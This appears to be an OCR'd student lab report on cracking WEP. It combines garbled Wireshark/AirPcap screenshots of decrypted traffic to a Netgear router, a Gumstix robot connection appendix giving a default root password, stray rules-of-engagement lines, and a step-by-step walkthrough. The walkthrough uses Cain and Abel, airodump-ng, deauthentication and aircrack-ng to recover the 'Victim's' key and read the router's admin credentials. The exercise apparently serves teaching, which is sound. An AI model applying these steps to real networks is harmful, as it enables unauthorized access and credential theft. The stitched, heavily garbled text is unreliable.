0030 00 18 4d 50 59 26 d0 b0 1d ad as 73
0040 a2 77 61 de a8 45 5f 52 a6 93 4 ca ab
0050 58 5c cO 11 a9 58 91 37 da cc 88 8
0060 4b 4f e4 77 73 4b 74 45 eb 7a cb 24
lo e3 28 dd a2 <9 95 ce ae 35 04 7f 32
0080 4 e1 9 4e 0 7a 92 aa ff 7a b1 2f
0090 a3 75 d9 es 36 ab 71 67 f5 57 20 93

Frame (624 bytes) |Decrypted WEP data (556 bytes)

‘AirPcap USB wireless capture adapter nr. 00: <live capture in progress> File: C:\Users\admin\AppData\LocahTemp\... | P: 5716 D: 163 M: 0
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Fiter [E€P S R YT
No..  Time Source Destination Protocol _Info a

1367 65.712970  102.168. 66,101 102.168.66.1 TcP 54425 > NLLp [FIN, ACK] Se

1511 73.611299  192.168.66.101 192.168.66.1 Tcp 54426 > http [SYN] Seq=0 Ler

1513 73.612571  192.168.66.1 192.168.66.101 Tcp http > 54426 [SYN, ACK] Seq:

1515 73612857 192.168.66.101 192.168.66.1 Tcp 54426 > http [ACK] se

1517 73613610 192.168.66.101 102.168.66.1 HTTP __ GET /WG wireless.htm HTTP/1.1

1519 73.617640  192.168.66.1 192.168.66.101 Tcp [TCP segment of a reassebled PDU

1521 73.618867 192.168.66.1 192.168.66.101 HTTP  HTTP/1.0 200 OK (text/html

1523 73.619130  192.168.66.101 192.168.66.1 Tcp 54426 > http [ACK]

1526 73.653391  192.168.66.101 192.168.66.1 Tcp 54426 > http [FIN

1528 73.654314  192.168.66.1 192.168.66.101 Tcp htep > 54426 [ACK]

1530 73.685652  192.168.66.101 192.168.66.1 Tcp 54427 > http [SYN]

1532 73.686816  192.168.66.1 192.168.66.101 Tcp http > 54427 [SYN

1534 73.686986  192.168.66.101 192.168.66.1 Tcp 54427 > htep [AcK] o

Frame 1517 (624 bytes on wire, 624 bytes captured
Radiotap Header VO, Length 32

TeEE 802.11

Logical-Link control

Internet Protocol, Src: 192.168.66.101 (192.168.66.101), Dst: 192.168.66.1 (192.168.66.1)
Transmission Control Protocol, Src Port: 54426 (54426), Dst Port: http (80), Seq: 1, Ack: 1, Len: 508

Hypertext Transfer Protocol

020 ¢
loo30
looso
looso
looso
loo7o
looso
loogo
looao
loobo

Frame (624 bytes) | Decrypted WEP data (556 bytes)

§c db 6c T2 bo 5 be 50 18 11 Ic 47 76 00

GET /WLG
_htm KT

v 8.
Iko/2008

i
0

32 30 30 38 30 33

‘AirPcap USB wireless capture adapter nr. 00: <live capture in progress> File: C:\Users\admin\AppData\LocahTemp\... | P: 6505 D: 163 M: 0
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Fiter [E€P S R YT
No..  Time Source Destination Protocol _Info a
1367 65.712970  102.168. 66,101 102.168.66.1 TcP 54425 > NLLp [FIN, ACK] Se @
1511 73.611299  192.168.66.101 192.168.66.1 Tcp 54426 > http [SYN] Seq=0 Ler
1513 73.612571  192.168.66.1 192.168.66.101 Tcp http > 54426 [SYN, ACK] Seq:
1515 73612857 192.168.66.101 192.168.66.1 Tcp 54426 > http [ACK] se
1517 73613610 192.168.66.101 102.168.66.1 HTTP __ GET /WG wireless.htm HTTP/1.1
1519 73.617640  192.168.66.1 192.168.66.101 Tcp [TCP segment of a reassenbled PDU]
1521 73.618867 192.168.66.1 192.168.66.101 HTTP  HTTP/1.0 200 OK (text/html)
1523 73.619130  192.168.66.101 192.168.66.1 Tcp 54426 > http [ACK]
1526 73.653391  192.168.66.101 192.168.66.1 Tcp 54426 > http [FIN,
1528 73.654314  192.168.66.1 192.168.66.101 Tcp htep > 54426 [ACK]
1530 73.685652  192.168.66.101 192.168.66.1 Tcp 54427 > http [SYN]
1532 73.686816  192.168.66.1 192.168.66.101 Tcp http > 54427 [SWN,
1534 73.686986  192.168.66.101 192.168.66.1 Tcp 54427 > htep [AcK] o

Frame 1517 (624 bytes on wire, 624 bytes captured)

Radiotap Header vO, Length 32

Tete 80511

Logical-Link control

Internet Protocol, Src: 192.168.66.101 (192.168.66.101), Dst: 192.168.66.1 (192.168.66.1)

Transmission control Protocol, Src Port: 54426 (54426), Dst Port: http (80), Seq: 1, Ack: 1, Len: 508

GET /WLG_wireless.htm HTTP/1.1\r\n

Host: 192.168.66.1\r\n

User-agent: Mozilla/5.0 (windows; U; windows NT 6.0; en-us; rv:1.8.1.13) Gecko/20080311 Firefox/2.0.0.13\r\n
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;g=0.8,image/png, */*; q=0. 5\r\n
Accept-Language: en-us,en;g=0.5\r\n

Accept-gncoding: gzip,deflate\r\n

Accept-cCharse 150-8859-1,utf-!

[0020 3 8c db 6¢ T2 b9 c5 be 50 18 11 ic 47 76 00 00
loo30 3 77 6

GET /WLG

looso 68 50 _htm KT
looso 73 o 2e

looso od a1

loo7o 7a 69 6c 6 2

looso 77 57

loogo 54 65 6

looao 3a 31 vl 8.1
loobo 2F 32 30 30 38 30 31 Iko/20080

Frame (624 bytes) | Decrypted WEP data (556 bytes)

‘AirPcap USB wireless capture adapter nr. 00: <live capture in progress> File: C:\Users\admin\AppData\LocahTemp\... | P: 6837 D: 163 M: 0
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Fiter: [P S R YT

Source Destination Protocol Info b
T52.165. 66. 101 T52.165.66.1 TCr SH325 > MTTp [FIN, ACKI Se
192.168. 66.101 192.168.66.1 Tcp 54426 > hrtp [SYN] Seq=0 Le
192.168.66.1 192.168. 66.101 Tcp Rttp > 54426 [SYN, ACK] Seq:
192.168. 66.101 192.168.66.1 Tcp 54426 > hrtp [ACK] Se
192.168. 66.101 192.168.66.1 HTTP  GET /WLG_wireless.htm HTTP/L.1
102.168.66.1 192.168. 66.101 Tcp [TCP segment of a reassembled PDU]

619139 192.168.66.101 102.168.66.1 Tcp 54426 > http [ACK] Seq=509 Ack=915 Win-16604 Le

1653301 1921168.66.101 192.168.66.1 Tcp 54426 > hrtp [FIN, ACK] Seq=509 Ack=915 Win-16604 Len-0

1654314 1921168.66.1 192.168. 66.101 Tcp http > 54426 [ACK] 15 Ack=510 Win-8192 Len=0

1685652  192.168.66.101 192.168.66.1 Tcp 54427 > hrep [SYN]

1686816  192.168.66.1 192.168. 66.101 Tcp http > 54427 [SYN, ws=0

1686986 192.168.66.101 192.168.66.1 Tcp 54427 > htep [ACK] o

Frame 1521 (964 bytes on wire, 964 bytes captured)
Radiotap Header VO, Length 32

TeEE 802.11

Logical-Link control

Internet Protocol, src: 192.168.66.1 (192.168.66.1), DSt: 192.168.66.101 (192.168.66.101)

Transmission Control Protocol, src Port: http (80), DSt Port: 54426 (54426), Seq: 66, Ack: 509, Len: 848
[Reassembled TCP Segments (913 bytes): #1519(65), #1521(848)]

Hypertext Transfer Protocol

Line-based text data: text/html

[0000 00 00 20 00 ef 56 00 00 52 Be 6 74 00 00 00 00
0010 10 48 94 09 O 00 f4 99 62 00 00 Sb b0 f2 b6 2f
0020 08 42 2c 00 00 1b 77 18 dd 44 00 18 4d 50 59 a6
0030 00 18 4d 50 59 a6 90 45 c5 Ob 00 00 d6 05 6d e8
0040 91 26 1e 4e 70 ed 51 f2 82 ef 35 d2 e9 98 ba 36
0050 €3 b7 61 1c 8 72 84 cd 9 05 94 df ec f2 51 28
0060 b1 2d 89 af 4d 5F 66 75 51 43 36 72 5a el b§ 7e
lo ds Of 17 55 8b bd 1a 55 c3 3 92 3c fd 46 af 99
0080 5a c7 3b 11 77 Oc 54 2f 6f f4 7e 07 2d 4d 8F ef
0090 18 6a f2 F5 29 32 aa 4Ff 75 8b cO cc a7 b2 dd &9

Frame (964 bytes) |Decrypted WEP data (396 bytes) | Reassembled TCP (913 bytes)

‘AirPcap USB wireless capture adapter nr. 00: <live capture in progress> File: C:\Users\admin\AppData\LocahTemp\... | P: 7181 D: 163 M: 0
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B e o@x%8[Be®FL QQAQ 0| @#EE x| @

Fiter [E€P T
No..  Time Source Destination Protocol _Info a
1367 65.712970  102.168. 66,101 102.168.66.1 TcP 54425 > NLLp [FIN, ACK] Se
1511 73.611299  192.168.66.101 192.168.66.1 Tcp 54426 > http [SYN] Seq=0 Ler
1513 73.612571  192.168.66.1 192.168.66.101 Tcp http > 54426 [SYN, ACK] Seq:
1515 73.612857  192.168.66.101 192.168.66.1 Tcp 54426 > http [ACK] se
1517 73.613619  192.168.66.101 192.168.66.1 HTTP  GET /WLG_wireless.htm HTTP/1.1
1519 73.617640  192. 192.168. 66.101 Tcp [7CP' segment of a reassembled PDu]
1521 73. 618867 107.168. 66.101 HTTP __HTTP/1.0 200 OK (text/htm

1523 73.619139 192,
1526 73.653391 192,
1528 73.654314 192,
1530 73.685652 192,
1532 73.686816  192.
1534 73.686986 192.

192.168.66. Tcp 54426 > http [ACK]
192.168.66.1 Tcp 54426 > http [FIN,
192.168.66.101 Tcp htep > 54426 [ACK]
192.168.66.1 Tcp 54427 > http [SYN]
192.168.66.101 Tcp http > 54427 [SWN,
192.168.66.1 Tcp 54427 > htep [AcK]

Frame 1521 (964 bytes on wire, 964 bytes captured)

Radiotap Header VO, Length 32

TeEE 802.11

Logical-Link control

Internet Protocol, src: 192.168.66.1 (192.168.66.1), DSt: 192.168.66.101 (192.168.66.101)

Transmission Control Protocol, src Port: http (80), DSt Port: 54426 (54426), Seq: 66, Ack: 509, Len: 848
[Reassenbled TCP Segments (913 bytes): #1519(65), #1521(848)]

Hypertext Transfer Protocol

Line-based text data: text/html

[0000 2 30 HTTP/1.0 200 OK
looto 6 65 [ content -Tength
looz0 6e 74 65 6 848..Co

loo30 74

o020 [E 3c 68 74 6d 6C 3 0d Oa 3C 68 65 61 64 3e 0d
0050 03 3¢ 4d 45 54 41 20 Ge 61 6d 65 3d 22 64 65 73
0060 63 72 69 70 74 69 & Ge 22 20 63 6f Ge 74 65 e
0070 74 3d 22 57 47 52 36 32 34 22 3e 0a 3c 4d 45 54
0080 41 20 &8 74 74 70 2d &5 71 75 69 76 3d 22 43 6f A http-e quiv
0090 e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 ntent-Ty pe

Frame (64 bytes) | Decypted WEP cata (696 bytes) | Resssembled TCP 913 bytes)

‘AirPcap USB wireless capture adapter nr. 00: <live capture in progress> File: C:\Users\admin\AppData\LocahTemp\... | P: 7362 D: 163 M: 0
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Filter: [tcp v Expression.. Clear Apply
Sores bestinaion bocal _nto
TR T TR T T T
1937168 s0.201 19516 601 T 3i4zs S hech [Si seqsoLa
1937168 601 1937168 60301 T tp o seie o Ak sea
1937168 06301 1937168 601 T 5Bs ey [ackd se
192.168. 66.101 192.168.66.1 HTTP GET /WLG_wireless.htm HTTP/1.1
102.168.66.1 192.168. 66.101 TcP [TCP segment of a reassembled PDU]
TSisiss 195168 6.101 19568 001 e S50 5 icth [ACK] Seq2509 ACK-315 win-16604 Le
(633301 1916866 101 1957168 601 T 54426  Mith [FiNy ACKI Seq-503 ACKLSLS WIN-1660¢ Len-0
(Gt 135ics 60t 1937168 60301 T itp o 59426 [ACk] Sequols Ackosio min-sise Lencd
[Gasess 19516866 d01 1937168 601 T suE e g
[Gaobis 195168601 1937168 60301 T et sai) oy
[G86o%5  195.168. 66101 19316 601 o s s fad

Frame 1521 (964 bytes on wire, 964 bytes captured)
Radiotap Header VO, Length 32

TeEE 802.11

Logical-Link control

Hypertext Transfer Protocol

Content-Length: 848
content-type: text/html\r\n
\r\n

® Line-based text

data: text/html

Internet Protocol, src: 192.168.66.1 (192.168.66.1), DSt: 192.168.66.101 (192.168.66.101)
Transmission Control Protocol, src Port: http (80), DSt Port: 54426 (54426), Seq: 66, Ack:
[Reassembled TCP Segments (913 bytes): #1519(65), #1521(848)]

509, Len: 848

loozo & 65 e
loo20 34 0a 6e

loo30 3a 65 6d 6¢

looso 68 6c 3e 0d 0a 3c 68 65 61

looso 4d 45 54 41 20 6e 61 6d 65 3d 22

looso 69 69 6f 6e 22 20 63 6f 6e

lo 22 5236 32 34 22 3e 0a 3c 4d 45 54
looso 68 7 70 2d 7175 69 76 3d 22 43 6
looso 65 Ge 74 2d 54 70 65 22 20 63 6F e 74

Frame (964 bytes) | Decrypted WEP data (896 bytes) | Reassembled TCP (913 bytes)

‘AirPcap USB wireless capture adapter nr. 00: <live capture in progress> File: CAUsers\admin\AppData\LocahTemp\.

HTTP/1. 0200 OK.
ficontent -Tengt!

848..Co
pe: text
“<heml>.
L <META n
cription

GR62
A http-e
ntent-Ty pe’

am

ntent-ty
/b,
-<head>.

des

conten
4ms.
quiv

<MET
o
cont

P:7582 D: 163 M: 0
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B e o@x%8[Be®FL QQAQ 0| @#EE x| @

Fiter [E€P S R YT
No..  Time Source Destination Protocol _Info a
1367 65.712970  102.168. 66,101 102.168.66.1 TcP 54425 > NLLp [FIN, ACK] Se @
1511 73.611299  192.168.66.101 192.168.66.1 Tcp 54426 > http [SYN] Seq=0 Ler
1513 73.612571  192.168.66.1 192.168.66.101 Tcp http > 54426 [SYN, ACK] Seq:
1515 73.612857  192.168.66.101 192.168.66.1 Tcp 54426 > http [ACK] se
1517 73.613619 192 192.168.66.1 HTTP  GET /WLG_wireless.htm HTTP/1.1
1519 73.617640  192. 192.168. 66.101 Tcp [7CP' segment of a reassembled PDu]
1521 73. 618867 107.168. 66.101 HTTP __HTTP/1.0 200 OK (text/htm

1523 73.619139 192,
1526 73.653391 192,
1528 73.654314 192,
1530 73.685652 192,
1532 73.686816  192.
1534 73.686986 192.

192.168.66. Tcp 54426 > http [ACK]
192.168.66.1 Tcp 54426 > http [FIN,
192.168.66.101 Tcp htep > 54426 [ACK]
192.168.66.1 Tcp 54427 > http [SYN]
192.168.66.101 Tcp http > 54427 [SWN,
192.168.66.1 Tcp 54427 > htep [AcK]

Frame 1521 (964 bytes on wire, 964 bytes captured)

Radiotap Header VO, Length 32

TeEE 802.11

Logical-Link control

Internet Protocol, src: 192.168.66.1 (192.168.66.1), DSt: 192.168.66.101 (192.168.66.101)

Transmission Control Protocol, src Port: http (80), DSt Port: 54426 (54426), Seq: 66, Ack: 509, Len: 848
[Reassembled TCP Segments (913 bytes): #1519(65), #1521(848)]

Hypertext Transfer Protocol

Line-based text data: text/html

0040

looso 6

looso
loo7o
looso
loogo
looao
loobo
looco
loodo

Frame (64 byes) | Decypted WEP cata 696 bytes) | Reassembled TCP (913 bytes)

67 6d 61 22 20 6

‘AirPcap USB wireless capture adapter nr. 00: <live capture in progress> File: C:\Users\admin\AppData\LocahTemp\... | P: 7854 D: 163 M: 0
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Fiter [E€P T
No..  Time Source Destination Protocol _Info a
1367 65.712970  102.168. 66,101 102.168.66.1 TcP 54425 > NLLp [FIN, ACK] Se @
1511 73.611299  192.168.66.101 192.168.66.1 Tcp 54426 > http [SYN] Seq=0 Ler
1513 73.612571  192.168.66.1 192.168.66.101 Tcp http > 54426 [SYN, ACK] Seq:
1515 73.612857  192.168.66.101 192.168.66.1 Tcp 54426 > http [ACK] se
1517 73.613619 192 192.168.66.1 HTTP  GET /WLG_wireless.htm HTTP/1.1
1519 73.617640  192. 192.168. 66.101 Tcp [TCP' segment of a reassenbled POU
1521 73. 618867 107.168. 66.101 HTTP __HTTP/1.0 200 OK (text/htm
1523 73.619130  192. 192.168.66. Tcp 54426 > http [ACK]
1526 73.653301  192. 192.168.66.1 Tcp 54426 > http [FIN
1528 73.654314 192, 192.168.66.101 Tcp htep > 54426 [ACK]
1530 73.685652  192. 192.168.66.1 Tcp 54427 > http [SYN]
1532 73.686816 192 192.168.66.101 Tcp http > 54427 [SYN
1534 73.686986  192. 192.168.66.1 Tcp 54427 > htep [AcK] o
Frame 1521 (964 bytes on wire, 964 bytes captured) -
Radiotap Header VO, Length 32
TeEE 802.11

Logical-Link control

Internet Protocol, Src: 192.168.66.1 (192.168.66.1), Dst: 192.168.66.101 (192.168.66.101)

Transmission control Protocol, src Port: http (80), DSt Port: 54426 (54426), Seq: 66, Ack: 509, Len: 848

[Reassembled TCP Segments (913 bytes): #1519(65), #1521(848)]

Hypertext Transfer Protocol

<html>\r\n

<head>\r\n

<META name="description” conten
<META http-equi
era hecp—caut

WGR624">\n
"Content-Type" content="text/html; charset=is0-8859-1">\n
"pragma” content="no-cache”>\n -

0040
looso
looso
loo7o
looso
loogo
looao
loobo
looco
loodo

Frame (64 byes) | Decypted WEP cata 696 bytes) | Reassembled TCP (913 bytes)

‘AirPcap USB wireless capture adapter nr. 00: <live capture in progress> File: C:\Users\admin\AppData\LocahTemp\... | P: 8192 D: 163 M: 0
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Fiter: [P S R YT
No..  Time Source Destination Protocol Info a
1556 731708386  192.168.66.1 152.168. 66.101 <P [TCP segnent of a reassenbled PDU]
1558 73.710523  192.168.66.1 192.168.66.101 Tcp [TCP_segrent of a reassenbled Poul
1560 73.710733  192.168.66.101 192.168.66.1 Tcp 54427 > http [ACK] Seq=514 Ack=9428 Win=17520 Lel
1562 73.711235  192.168.66.1 192.168.66.101 Tcp [TCP segment of a reassenbled PDU]
1564 73.712860 192.168.66.1 192.168. 66.101 Tcp [TCP segnent of a reassenbled Poul
1567 73.713871  192.168.66.1 192.168. Tcp [TCP segrent of a reassenbled PDU]
1569 73.715752  192.168.66.1 192.168. Tcp [TCP_segrent of a reassenbled PDU]
1571 73.715987  192.168.66.101 192.168. Tcp 54427 > http [ACK] Seq=514 Ack=15288 Win=17520 Len=0
1573 73.716614  192.168.66.1 192.168. Tcp [TCP segment of a reassenbled PDU]
1575 73.718384  192.168.66.1 192.168. Tcp [TCP_segrent of a reassenbled PDU]
1577 73.718609  192.168.66.101 192.168. Tcp 54427 > http [ACK] Seq=514 Ack=18208 wWin=17520 Len=0
<td nowrap colspan="2">\r\n B
Passphrase: <input Type="text” name="passphrasestr” size="14" maxlength="32" value=""> &nbsp;\r\n
<input type="button" name="keygen" value="Generate" onclick="calcpassphrase(this.form"></td></tr>\r\n
<tr>\r\n
<td colspan="2">\r\n
<table>\r\n
<tr>\r\n
<td>key 1:<input type="radio” "wep_key_no” value="1"></td>\r\n
<td align=left><input typ KEYL" maxLength=32 size=34 value="4445434146" onkeydown="keycheck(this)" onfocus="this. form.wep_ke
<tr>\r\n
<td>key 2:<input type="radio” name="wep_key_no" value="2"></td>\r\n
<td align=left><input typ KEY2" maxLength=32 size=34 value="" "keyCheck (this)" onfocus="this. form.wep_key_no[1].ct
<tr>\r\n -
B i = v
120 51 63 68 B
lo130
lo120
lo150
lo160
o170 [ 0d 0a 3c 74 69 74 6 65 3e 57 69 72 65 6¢ 65 M.
0180 73 73 20 4 41 4e 20 41 63 63 65 73 73 20 50 6F 55 LAN A ccess Po
0190 69 6e 74 20 2d 20 43 6f Ge 66 69 67 75 72 61 74  int - Co nfigurat
0120 69 6F 6e 3c 2f 74 69 74 6¢ 65 3e 0d 0a 3¢ 6¢ 69 fon</tit le>..<li
160 Ge 0 20 72 63 6c 3d 22 737479 ¢ 63 73 68 93 mk rel] styleshe 2

Frame (1524 bytes) | Decrypted WEP data (1456 bytes) | Reassembled TCP (19615 bytes)

‘AirPcap USB wireless capture adapter nr. 00: <live capture in progress> File: CAUsers\admin\AppData\LocahTemp\.

P:11820 D: 163 M:0
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Help

‘The Basic Setiings pages allow you to configure, upgrade and check the
status of your NETGEAR Cable/DSL Wireless Router.

Click an item in the lefimost column. The current settings or information
for that area appearin the center column.

Helpiul information related to the selected Settings page appears inthis.
‘column. Ifyou are using Internet Explorer, you may click an item in the
center column to jump direcly to the related help section; otherwise,
‘scroll down until you reach it

Basic Settings Help

Note: f you are setting up the router for he first time, the default sefings.
‘may work for you with no changes.

Does Your Internet Connection Require A Login?

‘Selectthis option based on the type of account you have with your ISP If
you need to enter login information every time you connectto the Internet
or you have a PPPOE account with your ISP, select Yes. Otherwise, select
No.

Note: Ifyou have installed PPP software such as WinPoET (from
Earthlink) or Entemet (from PacBell), then you have PPPOE Select Yes.
After selecting Yes and configuring your router, you will not need to run the
PPP software on your PC to connectto the Internet.

Internet Service Provider

Selectthe service provided by your ISP. “Other” (PPPOE) is the most -
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Domain Name Server (DNS) Address
Get Automatically From ISP

Use These DNS Severs
Primary DNS

‘Secondary DNS

Router MAC Address
Use Default Address

Use Computer MAC Address
Use This MAC Address

Does Your Internet Connection Require A Login?

1353 lyons

00:18:4D:50:58:A7

Help

‘The Basic Setiings pages allow you to configure, upgrade and check the
status of your NETGEAR Cable/DSL Wireless Router.

Click an item in the lefimost column. The current settings or information
for that area appearin the center column.

Helpiul information related to the selected Settings page appears inthis.
‘column. Ifyou are using Internet Explorer, you may click an item in the
center column to jump direcly to the related help section; otherwise,
‘scroll down until you reach it

Basic Settings Help

Note: f you are setting up the router for he first time, the default sefings.
‘may work for you with no changes.

Does Your Internet Connection Require A Login?

‘Selectthis option based on the type of account you have with your ISP If
you need to enter login information every time you connectto the Internet
or you have a PPPOE account with your ISP, select Yes. Otherwise, select
No.

Note: Ifyou have installed PPP software such as WinPoET (from
Earthlink) or Entemet (from PacBell), then you have PPPOE Select Yes.
After selecting Yes and configuring your router, you will not need to run the
PPP software on your PC to connectto the Internet.

Internet Service Provider

Selectthe service provided by your ISP. “Other” (PPPOE) is the most -
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Fiter: [P e e
Mo Tme Soree oesinatin botocel e
493968  192.168.66.101 192.168.66.1 TP [SYN] Seq=0 Le
495203  192.168.66.1 192.168. 66.101 TcP [SYN, ACK] set Win=8192 Len=0 M55=1460 ws=0
io%se Tonisseeio 195 1es. et Chily Bod Seemad 7380 caned
495930  192.168.66.101 102.168.66.1 Tcp [TCP segment of a reassembled PDU]
s Teriesieet 15510566 o1 T RS U Y Seect ackesos win=sis2 Leneo
o1 21 63050 195.165.05.1 195165, co. 101 T cp 5 54477 (K] Seq-i Ack=a2 win-soei Lano
505 22.857201 192.168.66.1 192.168. 66.101 Tcp [TCP_segment of a reassembled PDU]
30 050hee Torissieeio 193 1es a1 T BT Yk Saerens Ak 52 Lene0
523 23.056: 102.168.66.1 102.168. 66. 101 TcP [TCP segment of a reassembled PDU]
527 23.056940  192.168. 66.101 192.168.66.1 TP [FIN, ACK] 5eq=928 Ack=2192 Win=17520 Len=0
520 23.057830 192.168.66.1 192.168.66.101 TP [ACK] Seq=2192 Ack=929 Win=8192 Len=0
@ Frame 470 (544 bytes on wire, 544 bytes captured)
@ Radiotap Header vO, Length 32
o zeee s0p.11
@ Logical-Link control
@ Internet Protocol, Src: 192.168.66.101 (192.168.66.101), Dst: 192.168.66.1 (192.168.66.1)
@ Transmission Control Protocol, Src Port: 54477 (54477), Dst Port: http (80), Seq: 500, Ack: 1, Len: 428
@ [Reassembled TCP Segments (927 bytes): #471(499), #479(428)]
 Hypertext Transfer Protocol
@ Line-based text data: application/x-www-form-urlencoded
[0000 00 00 20 00 ef 58 00 00 12 ac 00 00 00
(0010 10 60 94 09 cO 00 d& 99 00 3f ac ac 78
(0020 08 41 2c 00 00 18 4d 50 a6 1b 18 dd 44
[0030 00 18 4d 50 59 a6 70 f4 20 00 27 Oe cb d2
[0040 57 84 1a 46 95 3b ac 97 a9 d8 16 a2 05 06
0050 dc fa a7 20 23 ef 06 54 c2 5f do 40 of fc
[0060 e8 82 cb 41 89 bd a0 58 83 39 58 40 4b 27
o 81 30 73 6d af 95 cc dd 84 44 4f 7e d9 53 ee
0080 1e 7f e8 a5 4c 4d 88 dl 51 el 75 39 f5 ce
(0090 El‘ 90 c8 78 8&d 49 08 a1 33 42 76 36 €0 22

Frame (544 bytes) |Decrypted WEP data (476 bytes) | Reassembled TCP (927 bytes)
File: "C:\Users\admin\ AppData\Local\Temp\ etherXXXX205912" 192 KB 00:00:24

P:559 D: 13 M: 0 Drops: 0
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Fiter [E€P S R YT
No..  Time Source Destination Protocol  Info
465 21.493068  192.168.66.101 192.168.66.1 Tcp 54477 > http [SYN] Seq=0 Ler
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Appendix C
Introduction

You will need to connect to the Gumstix on the iRobot in order to control/move the robot or to reprogram it.  The Gumstix we are using have both a serial port and an integrated wireless chip, so that we can connect to it either way.
Connecting via Serial

To connect to the Gumstix via the serial port, you will need a null modem cable.  Plug one end of the null modem cable into the serial port on the back of your laptop and the other into the second serial connector on the Gumstix board.

Connecting via WiFi

To connect to the Gumstix via WiFi, you will need a laptop with either an internal or external wireless card.  When the Gumstix is powered on, you should be able to view available wireless networks from your laptop and see the broadcasted SSID “gmugv”.  By default the Gumstix is in adhoc mode, so the wireless expansion board on the Gumstix will not assign a new IP address to your laptop’s wireless interface.

You will have to disable DHCP on the wireless interface of your laptop and set a static IP address within the same subnet as the Gumstix.  The IP addresses of the Gumstix wireless expansion boards are as follows: 192.168.255.21 (1) and 192.168.255.31 (2).

Once you have assigned an appropriate IP address to your laptop’s wireless interface, you can connect to the Gumstix via the Secure Shell Client.  You would simply enter the appropriate IP address, “root” as the username, and the appropriate port as pictured below.
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When connecting successfully, you will receive a prompt asking for the password, which is “gumstix”.
Take any necessary measures to ensure the safety of hostages, military personnel, and assets.





Do not fire unless fired upon.





If anyone is presumed a threat including civilians, necessary measures will be taken to disable their plan.





Civilians will be given a chance to surrender and be held captive.





Any enemy forces that fail to obey or complied with orders will be taken down immediately.








Run Cain and Able as administrator in Vista 





Click on the Wireless Tab 





From the drop down menu, select airpcap. 





Deselect “Capture WEP IVs to dump.ivs file” 





Deselect ‘Send to cracker’ 





Passively scan the network 





Look for the Victim’s network. Our case it is GMUNetgear. Notice the channel it is running on: 9





Stop the scan and on the lock on channel drop down choose channel 9, also Select “ARP Requests” 





Scan the network again.





While that is running, run �airodump-ng.exe as administrator  





Select the AirPcap USB wireless. 





Select the AirPcap USB wireless. For us it is 1





Select channel 9 as it is what the Victim is running on 





Choose what you want the output file to be called. This example we called it it493wep 





We want to capture all packets so answer this question with a ‘n’





We are starting to collect packets. We need 85,000 packets 





Deauth a node on the network. This will allow us to collect more packets more quickly 





1532/85000 





Getting closer – 70145/85000 





Done. 85,000 gives us a 95% chance of cracking WEP correctly 





We don’t need Cain and Able anymore so you can close this application 





Open a command prompt and change to the directory were you stored aircrack-ng.exe  





Place it on the desktop for easier access, this is not necessary. 





Run this command line: aircrack-ng.exe –z xxx.cap Where xxx is the name of your file. Ours is it493wep 





If you have more then one option here, select the option which has the Vic’s network. 





We are running the crack. The first number is the hex value that the algorithm thinks could be part of the key. 64-bit key has 5 hex values in it. 





The second number is how many votes that hex value has. The more votes it gets the more likely it is to be the key 





So far, only 31 SECONDS have past 





The algorithm thinks the key is �44:45:43:41:46 





It took 2 minutes and 30 seconds to crack the key. It can be as quick as 49 seconds.  





Now let’s look at encrypted traffic. Open Wireshark. 





We need to tell Wireshark what the key is 





Go to Edit -> Preferences





Expand Protocols





Wireless runs on the 802.11 wireless standard 





Check the box to enable decryption on the fly so we can look at plaintext. 





Insert the key that aircrack gave us. Recall that ours was�44:45:43:41:46





Double check to verify





No need for colons.�4445434146





Check everything again before clicking ‘OK’





Wireshark is ready. Click on Capture -> Interfaces





Click on start for the AirPcap option. Remember, AirPcap is the only wireless card we have to operate in Promiscuous mode, which allows us to view all wireless traffic





Click on ‘Start’





Now we are reading wireless traffic





We are only worried about ‘TCP’ traffic, so type ‘TCP’ in the filter box and hit enter.





For experimentation process, we logged onto the router to show you we can look at passwords.





Click on the tab ‘Decrypted WEP data’. 





Click on the most interesting line to view its contents. For us it’s the GET statement





Expand the Hypertext Transfer protocol.





Expand the Authorization section





Click on Credentials: admin:password. 





You can view all traffic unencrypted in this section of wireshark. Just make sure that you are on the Decrypted WEP tab





Recall that we think the key is�44:45:43:41:46


We got it correct





To stop the Capture, go to �Capture->Stop
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